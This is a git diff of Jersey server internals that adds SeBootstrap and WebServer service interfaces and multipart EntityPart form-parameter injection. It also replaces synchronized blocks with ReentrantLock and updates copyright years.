@@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,16 +16,26 @@ package org.glassfish.jersey.server.internal; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.CompletionStage; + +import jakarta.ws.rs.SeBootstrap; import jakarta.ws.rs.core.Application; import org.glassfish.jersey.internal.AbstractRuntimeDelegate; import org.glassfish.jersey.message.internal.MessagingBinders; import org.glassfish.jersey.server.ContainerFactory; +import org.glassfish.jersey.server.JerseySeBootstrapConfiguration; +import org.glassfish.jersey.server.WebServerFactory; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.server.spi.WebServer; /** * Server-side implementation of JAX-RS {@link jakarta.ws.rs.ext.RuntimeDelegate}. - * This overrides the default implementation of {@link jakarta.ws.rs.ext.RuntimeDelegate} from - * jersey-common which does not implement {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)} + * This overrides the default implementation of + * {@link jakarta.ws.rs.ext.RuntimeDelegate} from jersey-common which does not + * implement + * {@link #createEndpoint(jakarta.ws.rs.core.Application, java.lang.Class)} * method. * * @author Jakub Podlesak @@ -39,11 +49,84 @@ } @Override - public <T> T createEndpoint(Application application, Class<T> endpointType) + public <T> T createEndpoint(final Application application, final Class<T> endpointType) throws IllegalArgumentException, UnsupportedOperationException { if (application == null) { throw new IllegalArgumentException("application is null."); } return ContainerFactory.createContainer(endpointType, application); } + + @Override + public JerseySeBootstrapConfiguration.Builder createConfigurationBuilder() { + return JerseySeBootstrapConfiguration.builder(); + } + + @SuppressWarnings("unchecked") + @Override + public CompletableFuture<SeBootstrap.Instance> bootstrap(final Application application, + final SeBootstrap.Configuration configuration) { + + return CompletableFuture.supplyAsync(() -> { + final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS) + ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS) + : WebServer.class; + + final WebServer webServer + = WebServerFactory.createServer(httpServerClass, application, configuration); + return instance(configuration, webServer); + }); + } + + @SuppressWarnings("unchecked") + public CompletableFuture<SeBootstrap.Instance> bootstrap(final Class<? extends Application> applicationClass, + final SeBootstrap.Configuration configuration) { + + return CompletableFuture.supplyAsync(() -> { + final Class<WebServer> httpServerClass = configuration.hasProperty(ServerProperties.WEBSERVER_CLASS) + ? (Class<WebServer>) configuration.property(ServerProperties.WEBSERVER_CLASS) + : WebServer.class; + + final WebServer webServer + = WebServerFactory.createServer(httpServerClass, applicationClass, configuration); + return instance(configuration, webServer); + }); + } + + private SeBootstrap.Instance instance(final SeBootstrap.Configuration configuration, + final WebServer _webServer) { + return new SeBootstrap.Instance() { + final WebServer webServer = _webServer; + @Override + public final JerseySeBootstrapConfiguration configuration() { + return JerseySeBootstrapConfiguration.from(name -> { + switch (name) { + case SeBootstrap.Configuration.PORT: + return webServer.port(); + case ServerProperties.WEBSERVER_CLASS: + return webServer.getClass(); + default: + return configuration.property(name); + } + }); + } + + @Override + public final CompletionStage<StopResult> stop() { + return this.webServer.stop().thenApply(nativeResult -> new StopResult() { + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.cast(nativeResult); + } + }); + } + + @Override + public final <T> T unwrap(final Class<T> nativeClass) { + return nativeClass.isInstance(this.webServer) ? nativeClass.cast(this.webServer) + : this.webServer.unwrap(nativeClass); + } + }; + } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java index f1fcbeb..73c9684 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/FormParamValueParamProvider.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,19 +16,26 @@ package org.glassfish.jersey.server.internal.inject; +import java.io.IOException; import java.io.UnsupportedEncodingException; import java.lang.annotation.Annotation; +import java.lang.reflect.ParameterizedType; +import java.lang.reflect.Type; import java.net.URLDecoder; import java.net.URLEncoder; +import java.security.AccessController; import java.util.List; import java.util.Map; import java.util.Set; +import java.util.function.BiFunction; import java.util.function.Function; import jakarta.ws.rs.Encoded; import jakarta.ws.rs.FormParam; import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.EntityPart; import jakarta.ws.rs.core.Form; +import jakarta.ws.rs.core.GenericType; import jakarta.ws.rs.core.HttpHeaders; import jakarta.ws.rs.core.MediaType; import jakarta.ws.rs.core.MultivaluedMap; @@ -37,7 +44,13 @@ import jakarta.inject.Singleton; import org.glassfish.jersey.internal.inject.ExtractorException; +import org.glassfish.jersey.internal.inject.InjectionManager; +import org.glassfish.jersey.internal.inject.Providers; +import org.glassfish.jersey.internal.util.ReflectionHelper; +import org.glassfish.jersey.internal.util.collection.LazyValue; import org.glassfish.jersey.internal.util.collection.NullableMultivaluedHashMap; +import org.glassfish.jersey.internal.util.collection.Value; +import org.glassfish.jersey.internal.util.collection.Values; import org.glassfish.jersey.message.internal.MediaTypes; import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ContainerRequest; @@ -45,6 +58,7 @@ import org.glassfish.jersey.server.internal.InternalServerProperties; import org.glassfish.jersey.server.internal.LocalizationMessages; import org.glassfish.jersey.server.model.Parameter; +import org.glassfish.jersey.server.spi.internal.ValueParamProvider; /** * Value factory provider supporting the {@link FormParam} injection annotation. @@ -55,13 +69,17 @@ @Singleton final class FormParamValueParamProvider extends AbstractValueParamProvider { + private final MultipartFormParamValueProvider multipartProvider; /** * Injection constructor. * * @param mpep extractor provider. + * @param injectionManager */ - public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep) { + public FormParamValueParamProvider(Provider<MultivaluedParameterExtractorProvider> mpep, + InjectionManager injectionManager) { super(mpep, Parameter.Source.FORM); + this.multipartProvider = new MultipartFormParamValueProvider(injectionManager); } @Override @@ -73,22 +91,37 @@ return null; } + if (EntityPart.class == parameter.getType()) { + return new Function<ContainerRequest, Object>() { + @Override + public Object apply(ContainerRequest containerRequest) { + return multipartProvider.getEntityPart(containerRequest, parameter); + } + }; + } + MultivaluedParameterExtractor e = get(parameter); if (e == null) { return null; } - return new FormParamValueProvider(e, !parameter.isEncoded()); + return new FormParamValueProvider(e, multipartProvider, !parameter.isEncoded(), parameter); } private static final class FormParamValueProvider implements Function<ContainerRequest, Object> { private static final Annotation encodedAnnotation = getEncodedAnnotation(); private final MultivaluedParameterExtractor<?> extractor; + private final MultipartFormParamValueProvider multipartProvider; private final boolean decode; + private final Parameter parameter; - FormParamValueProvider(MultivaluedParameterExtractor<?> extractor, boolean decode) { + FormParamValueProvider(MultivaluedParameterExtractor<?> extractor, + MultipartFormParamValueProvider multipartProvider, + boolean decode, Parameter parameter) { this.extractor = extractor; + this.multipartProvider = multipartProvider; this.decode = decode; + this.parameter = parameter; } private static Form getCachedForm(final ContainerRequest request, boolean decode) { @@ -121,24 +154,27 @@ @Override public Object apply(ContainerRequest request) { - Form form = getCachedForm(request, decode); + if (MediaTypes.typeEqual(MediaType.MULTIPART_FORM_DATA_TYPE, request.getMediaType())) { + return multipartProvider.apply(request, parameter); + } else { + Form form = getCachedForm(request, decode); - if (form == null) { - Form otherForm = getCachedForm(request, !decode); - if (otherForm != null) { - form = switchUrlEncoding(request, otherForm); - cacheForm(request, form); - } else { - form = getForm(request); + if (form == null) { + Form otherForm = getCachedForm(request, !decode); + if (otherForm != null) { + form = switchUrlEncoding(request, otherForm); + } else { + form = getForm(request); + } cacheForm(request, form); } - } - try { - return extractor.extract(form.asMap()); - } catch (ExtractorException e) { - throw new ParamException.FormParamException(e.getCause(), - extractor.getName(), extractor.getDefaultValueString()); + try { + return extractor.extract(form.asMap()); + } catch (ExtractorException e) { + throw new ParamException.FormParamException(e.getCause(), + extractor.getName(), extractor.getDefaultValueString()); + } } } @@ -199,4 +235,96 @@ } } } + + @Singleton + private static class MultipartFormParamValueProvider implements BiFunction<ContainerRequest, Parameter, Object> { + private static final class FormParamHolder { + @FormParam("name") + public static final Void dummy = null; // field to get an instance of FormParam annotation + } + private static Parameter entityPartParameter = + Parameter.create( + EntityPart.class, EntityPart.class, false, EntityPart.class, EntityPart.class, + AccessController.doPrivileged(ReflectionHelper.getDeclaredFieldsPA(FormParamHolder.class))[0] + .getAnnotations() + ); + + private final InjectionManager injectionManager; + private final LazyValue<ValueParamProvider> entityPartProvider; + + private MultipartFormParamValueProvider(InjectionManager injectionManager) { + this.injectionManager = injectionManager; + + //Get the provider from jersey-media-multipart + entityPartProvider = Values.lazy((Value<ValueParamProvider>) () -> { + Set<ValueParamProvider> providers = Providers.getProviders(injectionManager, ValueParamProvider.class); + for (ValueParamProvider vfp : providers) { + Function<ContainerRequest, ?> paramValueSupplier = vfp.getValueProvider(entityPartParameter); + if (paramValueSupplier != null && !FormParamValueParamProvider.class.isInstance(vfp)) { + return vfp; + } + } + return null; + }); + } + + @Override + public Object apply(ContainerRequest containerRequest, Parameter parameter) { + Object entity = null; + final EntityPart entityPart = getEntityPart(containerRequest, parameter); + if (entityPart != null) { // else jersey-multipart module is missing + try { + entity = parameter.getType() != parameter.getRawType() + ? entityPart.getContent(genericType(parameter.getRawType(), parameter.getType())) + : entityPart.getContent(parameter.getRawType()); + } catch (IOException e) { + throw new ProcessingException(e); + } + } + + return entity; + } + + private EntityPart getEntityPart(ContainerRequest containerRequest, Parameter parameter) { + final ValueParamProvider valueParamProvider = entityPartProvider.get(); + if (valueParamProvider != null) { // else jersey-multipart module is missing + final Function<ContainerRequest, ?> valueSupplier = valueParamProvider.getValueProvider( + new WrappingFormParamParameter(entityPartParameter, parameter)); + return (EntityPart) valueSupplier.apply(containerRequest); + } + return null; + } + + private GenericType genericType(Type rawType, Type genericType) { + return new GenericType(new ParameterizedType() { + @Override + public Type[] getActualTypeArguments() { + return new Type[]{genericType}; + } + + @Override + public Type getRawType() { + return rawType; + } + + @Override + public Type getOwnerType() { + return null; + } + }); + } + + private static class WrappingFormParamParameter extends Parameter { + protected WrappingFormParamParameter(Parameter entityPartDataParam, Parameter realDataParam) { + super(realDataParam.getAnnotations(), + realDataParam.getSourceAnnotation(), + realDataParam.getSource(), + realDataParam.getSourceName(), + entityPartDataParam.getRawType(), + entityPartDataParam.getType(), + realDataParam.isEncoded(), + realDataParam.getDefaultValue()); + } + } + } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java index b9ddc55..07337eb 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/inject/ValueParamProviderConfigurator.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2017, 2021 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -87,7 +87,7 @@ EntityParamValueParamProvider entityProvider = new EntityParamValueParamProvider(paramExtractor); suppliers.add(entityProvider); - FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor); + FormParamValueParamProvider formProvider = new FormParamValueParamProvider(paramExtractor, injectionManager); suppliers.add(formProvider); HeaderParamValueParamProvider headerProvider = new HeaderParamValueParamProvider(paramExtractor);
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java index a7d5829..dc99a5d 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/monitoring/jmx/MBeanExposer.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -21,6 +21,8 @@ import java.util.Map; import java.util.Set; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.logging.Level; import java.util.logging.Logger; @@ -60,7 +62,7 @@ private volatile ResourcesMBeanGroup resourceClassStatsGroup; private volatile ExceptionMapperMXBeanImpl exceptionMapperMXBean; private final AtomicBoolean destroyed = new AtomicBoolean(false); - private final Object LOCK = new Object(); + private final Lock LOCK = new ReentrantLock(); /** * Name of domain that will prefix mbeans {@link ObjectName}. The code uses this @@ -110,45 +112,47 @@ void registerMBean(Object mbean, String namePostfix) { final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); final String name = domain + namePostfix; + LOCK.lock(); try { - synchronized (LOCK) { - if (destroyed.get()) { - // already destroyed - return; - } - final ObjectName objectName = new ObjectName(name); - if (mBeanServer.isRegistered(objectName)) { - - LOGGER.log(Level.WARNING, - LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName)); - mBeanServer.unregisterMBean(objectName); - } - mBeanServer.registerMBean(mbean, objectName); + if (destroyed.get()) { + // already destroyed + return; } + final ObjectName objectName = new ObjectName(name); + if (mBeanServer.isRegistered(objectName)) { + + LOGGER.log(Level.WARNING, + LocalizationMessages.WARNING_MONITORING_MBEANS_BEAN_ALREADY_REGISTERED(objectName)); + mBeanServer.unregisterMBean(objectName); + } + mBeanServer.registerMBean(mbean, objectName); } catch (JMException e) { throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_REGISTRATION(name), e); + } finally { + LOCK.unlock(); } } private void unregisterJerseyMBeans(boolean destroy) { final MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer(); + LOCK.lock(); try { - synchronized (LOCK) { - if (destroy) { - destroyed.set(true); // do not register new beans since now - } + if (destroy) { + destroyed.set(true); // do not register new beans since now + } - if (domain == null) { - // No bean has been registered yet. - return; - } - final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null); - for (ObjectName name : names) { - mBeanServer.unregisterMBean(name); - } + if (domain == null) { + // No bean has been registered yet. + return; + } + final Set<ObjectName> names = mBeanServer.queryNames(new ObjectName(domain + ",*"), null); + for (ObjectName name : names) { + mBeanServer.unregisterMBean(name); } } catch (Exception e) { throw new ProcessingException(LocalizationMessages.ERROR_MONITORING_MBEANS_UNREGISTRATION_DESTROY(), e); + } finally { + LOCK.unlock(); } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java index 8c116ca..7b97eb9 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarFileScanner.java
@@ -19,6 +19,8 @@ import java.io.IOException; import java.io.InputStream; import java.util.NoSuchElementException; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.jar.JarEntry; import java.util.jar.JarInputStream; import java.util.logging.Level;
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java index f08cfb1..501372a 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/JarZipSchemeResourceFinderFactory.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,7 +22,7 @@ import java.net.URI; import java.net.URL; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.Arrays; import java.util.Collections; import java.util.HashSet; @@ -155,7 +155,7 @@ return new URL(jarUrlString).openStream(); } catch (final MalformedURLException e) { return Files.newInputStream( - Paths.get(UriComponent.decode(jarUrlString, UriComponent.Type.PATH))); + Path.of(UriComponent.decode(jarUrlString, UriComponent.Type.PATH))); } } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java index 06a9432..d482dde 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/internal/scanning/PackageNamesScanner.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -27,6 +27,8 @@ import java.util.HashMap; import java.util.Locale; import java.util.Map; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import org.glassfish.jersey.internal.OsgiRegistry; import org.glassfish.jersey.internal.util.ReflectionHelper; @@ -54,7 +56,7 @@ * URI schemes. * <p> * Further schemes may be registered by registering an implementation of - * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is the + * {@link UriSchemeResourceFinderFactory} in the META-INF/services file whose name is * the fully qualified class name of {@link UriSchemeResourceFinderFactory}. * <p> * If a URI scheme is not supported a {@link ResourceFinderException} will be thrown @@ -195,13 +197,15 @@ public abstract static class ResourcesProvider { private static volatile ResourcesProvider provider; + private static final Lock RESOURCE_PROVIDER_LOCK = new ReentrantLock(); private static ResourcesProvider getInstance() { // Double-check idiom for lazy initialization ResourcesProvider result = provider; if (result == null) { // first check without locking - synchronized (ResourcesProvider.class) { + RESOURCE_PROVIDER_LOCK.lock(); + try { result = provider; if (result == null) { // second check with locking provider = result = new ResourcesProvider() { @@ -214,6 +218,8 @@ }; } + } finally { + RESOURCE_PROVIDER_LOCK.unlock(); } } @@ -226,9 +232,9 @@ final ReflectPermission rp = new ReflectPermission("suppressAccessChecks"); security.checkPermission(rp); } - synchronized (ResourcesProvider.class) { - ResourcesProvider.provider = provider; - } + RESOURCE_PROVIDER_LOCK.lock(); + ResourcesProvider.provider = provider; + RESOURCE_PROVIDER_LOCK.unlock(); } /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java new file mode 100644 index 0000000..731e4eb --- /dev/null +++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServer.java
@@ -0,0 +1,107 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server.spi; + +import java.util.concurrent.CompletionStage; + +import jakarta.ws.rs.ConstrainedTo; +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.spi.Contract; + +/** + * Jersey service contract for self-contained servers. + * <p> + * Runs a self-contained {@link Application} in a {@link Container} using a + * Web Server implicitly started and stopped together with the application. + * </p> + * <p> + * The WebServer instance is wrapped by the implementation of {@link jakarta.ws.rs.SeBootstrap.Instance}. + * </p> + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +@Contract +@ConstrainedTo(RuntimeType.SERVER) +public interface WebServer { + + /** + * @return container in which the application lives. + */ + public Container container(); + + /** + * @return IP port the application listens to for requests. + */ + public int port(); + + /** + * Initiates server bootstrap. + * <p> + * Startup happens in background. The completion stage produces a native startup + * result. + * </p> + * <p> + * Portable applications should not expect any particular result type, as it is + * implementation-specific. + * </p> + * + * @return A {@link CompletionStage} providing a native startup result of the + * bootstrap process. The native result MAY be {@code null}. + */ + public CompletionStage<?> start(); + + /** + * Initiates server shutdown. + * <p> + * Shutdown happens in background. The completion stage produces a native + * shutdown result. + * </p> + * </p> + * Portable applications should not expect any particular result type, as it is + * implementation-specific. + * </p> + * + * @return A {@link CompletionStage} providing a native shutdown result of the + * shutdown process. The native result MAY be {@code null}. + */ + public CompletionStage<?> stop(); + + /** + * Provides access to the native handle(s) of the server, if it holds at least + * one. + * <p> + * Implementations MAY use native handles to identify the server instance, and / + * or use those to communicate with and control the instance. Whether or not + * such handles exist, and their respective data types, is + * implementation-specific. + * </p> + * <p> + * Portable applications should not invoke this method, as the types of + * supported handles are implementation-specific. + * </p> + * + * @param nativeClass + * The class of the native handle. + * @return The native handle, or {@code null} if no handle of this type exists. + */ + public <T> T unwrap(Class<T> nativeClass); + +}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java new file mode 100644 index 0000000..d1d5d2c --- /dev/null +++ b/core-server/src/main/java/org/glassfish/jersey/server/spi/WebServerProvider.java
@@ -0,0 +1,133 @@ +/* + * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2018 Markus KARG. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.server.spi; + +import jakarta.ws.rs.ConstrainedTo; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.RuntimeType; +import jakarta.ws.rs.core.Application; + +import org.glassfish.jersey.server.ApplicationHandler; +import org.glassfish.jersey.server.ServerProperties; +import org.glassfish.jersey.spi.Contract; + +/** + * Service-provider interface for creating server instances. + * + * If supported by the provider, a server instance of the requested Java type + * will be created. + * <p> + * The created server uses an internally created {@link Container} which is + * responsible for listening on a communication channel provided by the server + * for new client requests, dispatching these requests to the registered + * {@link ApplicationHandler Jersey application handler} using the handler's + * {@link ApplicationHandler#handle(org.glassfish.jersey.server.ContainerRequest) + * handle(requestContext)} method and sending the responses provided by the + * application back to the client. + * </p> + * <p> + * A provider shall support a one-to-one mapping between a type, provided the + * type is not {@link Object}. A provider may also support mapping of sub-types + * of a type (provided the type is not {@code Object}). It is expected that each + * provider supports mapping for distinct set of types and subtypes so that + * different providers do not conflict with each other. In addition, a provider + * SHOULD support the super type {@link WebServer} to participate in auto-selection + * of providers (in this case the <em>first</em> supporting provider found is + * used). + * </p> + * <p> + * An implementation can identify itself by placing a Java service provider + * configuration file (if not already present) - + * {@code org.glassfish.jersey.server.spi.WebServerProvider} - in the resource + * directory {@code META-INF/services}, and adding the fully qualified + * service-provider-class of the implementation in the file. + * </p> + * + * @author Markus KARG (markus@headcrashing.eu) + * @since 3.1.0 + */ +@Contract +@ConstrainedTo(RuntimeType.SERVER) +public interface WebServerProvider { + + /** + * Creates a server of a given type which runs the given application using the + * given bootstrap configuration. + * + * @param <T> + * the type of the web server. + * @param type + * the type of the web server. Providers SHOULD support at least + * {@link WebServer}. + * @param application + * The application to host. + * @param configuration + * The configuration (host, port, etc.) to be used for bootstrapping. + * @return the server, otherwise {@code null} if the provider does not support + * the requested {@code type}. + * @throws ProcessingException + * if there is an error creating the server. + */ + <T extends WebServer> T createServer(Class<T> type, + Application application, + SeBootstrap.Configuration configuration) throws ProcessingException; + + /** + * Creates a server of a given type which runs the given application using the + * given bootstrap configuration. + * + * @param <T> + * the type of the web server. + * @param type + * the type of the web server. Providers SHOULD support at least + * {@link WebServer}. + * @param applicationClass + * The class of application to host. + * @param configuration + * The configuration (host, port, etc.) to be used for bootstrapping. + * @return the server, otherwise {@code null} if the provider does not support + * the requested {@code type}. + * @throws ProcessingException + * if there is an error creating the server. + */ + <T extends WebServer> T createServer(Class<T> type, + Class<? extends Application> applicationClass, + SeBootstrap.Configuration configuration) throws ProcessingException; + + + /** + * Utility function that matches {@code WebServerProvider} supported type with the user type passed either + * as {@link ServerProperties#WEBSERVER_CLASS} property (higher priority) or by the {@code userType} argument + * (lower priority). + * @param supportedType The type supported by the {@code WebServerProvider} implementation + * @param userType The user type passed in by the user, usually {@link WebServer} class. + * @param configuration The configuration to check {@link ServerProperties#WEBSERVER_CLASS} property + * @param <T> The {@link WebServer} subtype + * @return @{code true} if the user provided type matches the supported type. + */ + static <T extends WebServer> boolean isSupportedWebServer( + Class<? extends WebServer> supportedType, Class<T> userType, SeBootstrap.Configuration configuration) { + final Object webServerObj = configuration.property(ServerProperties.WEBSERVER_CLASS); + final Class<? extends WebServer> webServerCls = webServerObj == null || WebServer.class.equals(webServerObj) + ? null : (Class<? extends WebServer>) webServerObj; + // WebServer.class.equals(webServerObj) is the default, and then we want userType + return (webServerCls != null && webServerCls.isAssignableFrom(supportedType)) + || (webServerCls == null && userType.isAssignableFrom(supportedType)); + } +}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java index 9867681..62ce38d 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/WadlResource.java
@@ -21,6 +21,8 @@ import java.net.URI; import java.text.SimpleDateFormat; import java.util.Date; +import java.util.concurrent.locks.Lock; +import java.util.concurrent.locks.ReentrantLock; import java.util.Locale; import jakarta.ws.rs.GET; @@ -57,6 +59,7 @@ private byte[] wadlXmlRepresentation; private String lastModified; + private final Lock lock = new ReentrantLock(); @Context private WadlApplicationContext wadlContext; @@ -72,7 +75,8 @@ @Produces({"application/vnd.sun.wadl+xml", "application/xml"}) @GET - public synchronized Response getWadl(@Context UriInfo uriInfo) { + public Response getWadl(@Context UriInfo uriInfo) { + lock.lock(); try { if (!wadlContext.isWadlGenerationEnabled()) { return Response.status(Response.Status.NOT_FOUND).build(); @@ -104,6 +108,8 @@ return Response.ok(new ByteArrayInputStream(wadlXmlRepresentation)).header("Last-modified", lastModified).build(); } catch (Exception e) { throw new ProcessingException("Error generating /application.wadl.", e); + } finally { + lock.unlock(); } } @@ -111,9 +117,10 @@ @Produces({"application/xml"}) @GET @Path("{path}") - public synchronized Response getExternalGrammar( + public Response getExternalGrammar( @Context UriInfo uriInfo, @PathParam("path") String path) { + lock.lock(); try { // Fail if wadl generation is disabled if (!wadlContext.isWadlGenerationEnabled()) { @@ -136,6 +143,8 @@ .build(); } catch (Exception e) { throw new ProcessingException(LocalizationMessages.ERROR_WADL_RESOURCE_EXTERNAL_GRAMMAR(), e); + } finally { + lock.unlock(); } }
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java index 57468eb..aeb1f46 100644 --- a/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java +++ b/core-server/src/main/java/org/glassfish/jersey/server/wadl/internal/generators/WadlGeneratorJAXBGrammarGenerator.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,6 +22,7 @@ import java.lang.reflect.InvocationTargetException; import java.lang.reflect.ParameterizedType; import java.lang.reflect.Type; +import java.nio.charset.StandardCharsets; import java.security.AccessController; import java.security.PrivilegedActionException; import java.security.PrivilegedExceptionAction; @@ -360,7 +361,7 @@ for (final StreamResult result : results) { final CharArrayWriter writer = (CharArrayWriter) result.getWriter(); - final byte[] contents = writer.toString().getBytes("UTF8"); + final byte[] contents = writer.toString().getBytes(StandardCharsets.UTF_8); extraFiles.put( result.getSystemId(), new ApplicationDescription.ExternalGrammar(
diff --git a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties index 3e0ab6c..7a482f2 100644 --- a/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties +++ b/core-server/src/main/resources/org/glassfish/jersey/server/internal/localization.properties
